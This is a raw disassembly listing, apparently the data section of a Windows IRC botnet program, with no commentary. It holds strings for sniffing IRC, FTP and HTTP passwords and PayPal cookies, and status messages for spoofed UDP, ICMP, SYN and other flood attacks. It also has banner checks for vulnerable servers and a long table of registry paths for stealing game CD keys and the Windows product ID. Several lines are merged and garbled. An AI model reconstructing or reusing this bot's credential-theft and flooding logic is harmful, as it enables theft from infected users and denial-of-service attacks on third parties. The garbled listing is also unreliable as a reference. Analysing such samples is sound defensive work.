		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .packed:00437B4Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .packed:00437B48o
off_4383B4	dd offset dword_434F38+311h ; DATA XREF: .packed:00437B44o
dword_4383B8	dd 544F42h	dword_4383BC	dd 234032Dh, 696E7370h,	3026666haRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
dword_4383E8	dd 234032Dh, 696E7370h,	3026666haSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_43841C	dd 234032Dh, 696E7370h,	3026666h, 2Dhdword_43842C	dd 4E53505Bh, 5D464649h, 0dword_438438	dd 234032Dh, 696E7370h,	3026666haWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
dword_438468	dd 234032Dh, 696E7370h,	3026666haBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_438494	dd 234032Dh, 696E7370h,	3026666haSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_4129A4+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_4129A4+EEo
		align 4
aIdent		db ':!ident',0          ; DATA XREF: sub_4129A4+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_4129A4+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_4129A4+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_4129A4+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_4129A4+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_4129A4+84o
a366		db '366 ',0             ; DATA XREF: sub_4129A4+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_4129A4:loc_412A06o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_4129A4+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_4129A4+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_4129A4+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_4129A4+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412ABB+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412ABB+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412ABB:loc_412AFBo
					; sub_412B31+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412ABB+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412ABB+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_412B31+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_412B31+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_412B31:loc_412B82o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_412B31+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412B31+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412BB8+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412BB8+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412BB8+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412BB8:loc_412BF8o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412BB8+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412BB8+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_412C3F+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_412C3F:loc_412C7Fo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_412C3F+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_412C3F+5o
		align 4
unk_43862C	db  2Dh	; -		; DATA XREF: sub_412CA4+3D6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_438664	db  2Dh	; -		; DATA XREF: sub_412CA4+36Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43869C	db  2Dh	; -		; DATA XREF: sub_412CA4+337o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4386D0	db  2Dh	; -		; DATA XREF: sub_412CA4+30Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438704	db  2Dh	; -		; DATA XREF: sub_412CA4+2DCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_438738	db  2Dh	; -		; DATA XREF: sub_412CA4+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_438768	db  2Dh	; -		; DATA XREF: sub_412CA4+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
unk_438794	db  2Dh	; -		; DATA XREF: sub_413081+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4387BC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413133+31Ao
		dd 203A726Fh, 6425h
unk_4387D8	db  2Dh	; -		; DATA XREF: sub_4134C5+390o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 10h
unk_438820	db  2Dh	; -		; DATA XREF: sub_4134C5+326o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
unk_43886C	db  2Dh	; -		; DATA XREF: sub_4134C5+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_43888C	db  2Dh	; -		; DATA XREF: sub_4134C5+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_4388BC	db  2Dh	; -		; DATA XREF: sub_4134C5+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 4
unk_4388E8	db  2Dh	; -		; DATA XREF: sub_4138B0+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_438914	db  2Dh	; -		; DATA XREF: sub_4138B0+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_43893C	db  2Dh	; -		; DATA XREF: sub_413A3C+1C7o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
unk_438968	db  2Dh	; -		; DATA XREF: sub_413A3C+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 10h
dword_438990	dd 234032Dh, 73796B73h,	3026E79haDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_4389BC	db  2Dh	; -		; DATA XREF: sub_413DEC+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_4389E4	db  2Dh	; -		; DATA XREF: sub_413E88+295o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_438A04	dd 234032Dh, 67726174h,	3023361haDoneWithFlood_	db '- Done with flood.',0
		align 8
unk_438A28	db  2Dh	; -		; DATA XREF: sub_41444D+4E4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_438A78	db  2Dh	; -		; DATA XREF: sub_41444D+471o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_438AC8	db  2Dh	; -		; DATA XREF: sub_41444D+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
unk_438AE8	db  2Dh	; -		; DATA XREF: sub_41444D+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 10h
unk_438B20	db  2Dh	; -		; DATA XREF: sub_41444D+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 4
unk_438B54	db  2Dh	; -		; DATA XREF: sub_4149E9+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
unk_438B88	db  2Dh	; -		; DATA XREF: sub_414CD8+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_438BC8	db  2Dh	; -		; DATA XREF: sub_414D4E+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
		align 8
unk_438C58	db  2Dh	; -		; DATA XREF: sub_414D4E+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
unk_438CBC	db  2Dh	; -		; DATA XREF: sub_414D4E+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
unk_438CE8	db  2Dh	; -		; DATA XREF: sub_414D4E+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
		align 10h
unk_438D30	db  2Dh	; -		; DATA XREF: sub_414D4E+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 10h
unk_438D80	db  2Dh	; -		; DATA XREF: sub_414D4E+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_438DAC	db  2Dh	; -		; DATA XREF: sub_4150A6+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_415240+1F1o
		align 10h
dword_438DE0	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_438DF4	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A5+60o
		align 4
dword_438E2C	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415845:loc_41587Ao
dword_438E40	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415845+20o
dword_438E54	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_415886+DCo
		dd 6574656Ch, 0
dword_438E70	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_415886+3Fo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4159B5+11o
aWindow		db 'Window',0           ; DATA XREF: sub_415BF0+23o
					; sub_415DE9+26o
		align 10h
		dd 80000001h
off_438EA4	dd offset aSoftwareValveC ; DATA XREF: sub_416028+Cr
					; sub_416028+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_438EB0	dd 2 dup(0)			dd 80000001h, 43A048h, 43A03Ch,	43A02Ch, 2 dup(0)
		dd 80000001h, 43A00Ch, 43A008h,	439FF4h, 2 dup(0)
		dd 80000001h, 439FD0h, 43A008h,	439FC4h, 2 dup(0)
		dd 80000001h, 439FA0h, 439F98h,	439F84h, 2 dup(0)
		dd 80000001h, 439F70h, 439F60h,	439F44h, 2 dup(0)
		dd 80000001h, 439F00h, 43A088h,	439EECh, 2 dup(0)
		dd 80000002h, 439EC0h, 439EB4h,	439E94h, 2 dup(0)
		dd 80000002h, 439E60h, 43A088h,	439E48h, 2 dup(0)
		dd 80000002h, 439E14h, 43A088h,	439DFCh, 2 dup(0)
		dd 80000002h, 439DE4h, 43A088h,	439DCCh, 2 dup(0)
		dd 80000002h, 439D90h, 43FE14h,	439D80h, 2 dup(0)
		dd 80000002h, 439D48h, 43FE14h,	439D34h, 2 dup(0)
		dd 80000002h, 439CE8h, 43FE14h,	439CC8h, 2 dup(0)
		dd 80000002h, 439C78h, 43FE14h,	439C48h, 2 dup(0)
		dd 80000002h, 439C0Ch, 43FE14h,	439BF8h, 2 dup(0)
		dd 80000002h, 439BC0h, 43FE14h,	439BB0h, 2 dup(0)
		dd 80000002h, 439B60h, 43FE14h,	439B30h, 2 dup(0)
		dd 80000002h, 439AF0h, 43FE14h,	439AD0h, 2 dup(0)
		dd 80000002h, 439AA0h, 43FE14h,	439A80h, 2 dup(0)
		dd 80000002h, 439A44h, 43FE14h,	439A30h, 2 dup(0)
		dd 80000002h, 4399E8h, 43FE14h,	4399C4h, 2 dup(0)
		dd 80000002h, 439970h, 43FE14h,	439940h, 2 dup(0)
		dd 80000002h, 4398F0h, 43FE14h,	4398C4h, 2 dup(0)
		dd 80000002h, 439884h, 43987Ch,	43985Ch, 2 dup(0)
		dd 80000002h, 439818h, 43FE14h,	4397FCh, 2 dup(0)
		dd 80000002h, 4397B0h, 43FE14h,	439788h, 2 dup(0)
		dd 80000002h, 439754h, 43FE14h,	439748h, 2 dup(0)
		dd 80000002h, 439714h, 43FE14h,	439708h, 2 dup(0)
		dd 80000002h, 4396D4h, 43FE14h,	4396C8h, 2 dup(0)
		dd 80000002h, 439694h, 43FE14h,	439688h, 2 dup(0)
		dd 80000002h, 43964Ch, 43FE14h,	439638h, 2 dup(0)
		dd 80000002h, 4395FCh, 43FE14h,	4395E8h, 2 dup(0)
		dd 80000002h, 4395B8h, 43A088h,	43959Ch, 2 dup(0)
		dd 80000002h, 43957Ch, 439574h,	439550h, 2 dup(0)
		dd 80000002h, 439534h, 439574h,	439514h, 2 dup(0)
		dd 80000002h, 4394F4h, 439574h,	4394D0h, 2 dup(0)
		dd 80000002h, 4394B8h, 439574h,	4394B4h, 2 dup(0)
		dd 80000002h, 439498h, 439488h,	439480h, 2 dup(0)
		dd 80000002h, 43944Ch, 42D8D4h,	439434h, 2 dup(0)
		dd 80000002h, 4393F8h, 4393ECh,	4393C4h, 4393B4h, 4393A0h
		dd 80000002h, 43937Ch, 439370h,	43935Ch, 43934Ch, 439344h
		dd 80000002h, 43937Ch, 439370h,	439318h, 43934Ch, 439310h
		dd 80000002h, 43937Ch, 439370h,	4392E0h, 43934Ch, 4392D8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 8
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 8
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
